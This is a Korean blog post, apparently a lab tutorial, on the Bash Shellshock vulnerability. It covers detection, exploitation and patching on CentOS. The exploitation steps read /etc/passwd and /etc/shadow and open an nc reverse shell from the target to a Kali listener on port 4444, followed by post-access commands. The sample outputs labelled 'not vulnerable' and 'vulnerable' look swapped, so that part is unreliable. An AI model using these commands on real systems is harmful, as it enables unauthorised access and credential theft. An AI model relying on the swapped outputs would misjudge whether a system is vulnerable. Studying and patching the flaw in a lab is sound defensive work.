Bash Shellshock 취약점

oogu ㅣ 2022. 7. 3. 10:50

@ 05_Bash Shellshock 취약점


1. Bash Shellshock 취약점

 - Bash 쉘을 이용하여 명령어을 실행했을때, 그에 대응하는 결과 뿐만 아니라, 다른 결과까지 실행되는 취약점이다.
 - Bash Shellshock 취약점 관련 기사 : http://www.ddaily.co.kr/news/article.html?no=122932
 - 참고 사이트 : https://www.exploit-db.com/exploits/34765

 - env x='() { :;}; ' 명령은 함수 형식으로 환경변수를 설정하는 방법이다. 
 - 만약, 명령어가 끝나는 ; 뒤에 오는 명령어는 오류가 발생되거나, 실행되지 않는게 원칙이다. 
 - 취약점이 있는 경우에는 echo vulnerable의 환경 변수를 이용하여 "echo this is a test" 를 실행하게 된다. 
 - 이때 { :;}; 에서 ':'는 참을 의미하기 때문에 무조건 함수가 실행된다.
 - 리눅스에서 ;(세미콜론)를 메타캐릭터로 인식하여 명령어 이어쓰기가 되면서 발생하는 취약점이다.


[Bash Shellshock 취약점이 없는 경우]

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 this is a test

[Bash Shellshock 취약점이 있는 경우]

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test


2. CentOS Bash Shellshock 취약점 진단

 1) Bash Shellshock 취약점 진단

[root@CentOS /root]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"



 2) Bash Shellshock 취약점을 이용한 계정 정보 확인

[root@CentOS /root]# env x='() { :;}; cat /etc/passwd' bash -c "echo this is a test"




 3) Bash Shellshock 취약점을 이용한 Reverse TCP 연결

공격자                                                              타겟(Bash Shellshock 취약점 발견)
Kali(192.168.20.50)                                          CentOS(192.168.20.200)
TCP Port 4444 대기 상태                                 <- Syn


 - Kali에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다. 

root@kali:~# nc -nvlp 4444




 - Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 대기 상태를 확인한다.

root@kali:~# netstat -nltp 



 - CentOS에서 Bash Shellshock 취약점을 이용한 Reverse TCP 연결을 실시한다.

[root@CentOS /root]# cd nc
[root@CentOS /root/nc]# env x='() { :;}; ./nc -e /bin/bash 192.168.20.50 4444' bash -c "echo this is a test"



 - Kali에서 Reverse TCP 연결 상태를 확인한다.

root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.200] 36966
id
whoami
pwd
uname -a
python -c 'import pty;pty.spawn("/bin/bash")'



[root@CentOS /root/nc]# cat /etc/passwd
[root@CentOS /root/nc]# cat /etc/shadow 



 - Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 상태를 확인한다.

root@kali:~# netstat -ntp




 - Kali에서 nc 프로세스를 종료한다.

[root@CentOS /root/nc]# (Ctrl+C)
root@kali:~# 


 - CentOS에서 nc 프로세스를 종료한다.

[root@CentOS /root/nc]# env x='() { :;}; ./nc -e /bin/bash 192.168.20.50 4444' bash -c "echo this is a test"
(Ctrl+C)

[root@CentOS /root/nc]# cd
[root@CentOS /root]#


3. Bash Shellshock 취약점 해결

 - Bash Shellshock 취약점을 갖고 있는 대표적인 버전은 다음과 같다.

bash-4.2.45-5.el7_0.2    
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1    
bash-4.1.2-15.el6_4.1    
bash-3.2-33.el5.1   
bash-3.2-33.el5_11.1.sjis.1   
bash-3.2-24.el5_6.1   
bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2   
bash-3.0-27.el4.2


 - CentOS에서 Bash 버전을 확인한다.

[root@CentOS /root]# rpm -qa | grep bash




 - Bash Shellshock 해결 방법은 다음과 같이 다른 버전으로 업데이트를 실시한다.

[root@CentOS /root]# yum -y install bash // 만약, 오류가 나면 밑에 [참고]를 확인한다.
~ 중간 생략 ~

[root@CentOS /root]# rpm -qa | grep bash
bash-3.2-33.el5_11.4


 - Bash Shellshock 취약점이 있는지 확인한다.

[root@CentOS /root]# env x='() { :;}; cat /etc/passwd' bash -c "echo this is a test"
this is a test


[참고] CentOS 5.10 Yum Repo 변경

cat << 'EOF' > /etc/yum.repos.d/CentOS-Base.repo
[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

#released updates 
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
baseurl=http://linuxsoft.cern.ch/centos-vault/5.11/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
EOF

'시스템 보안' 카테고리의 다른 글

레지스터 구조  (0) 2022.07.06
Metasploit  (0) 2022.07.04
nmap 스캔 도구  (0) 2022.07.02
Bind&Reverse TCP  (0) 2022.06.30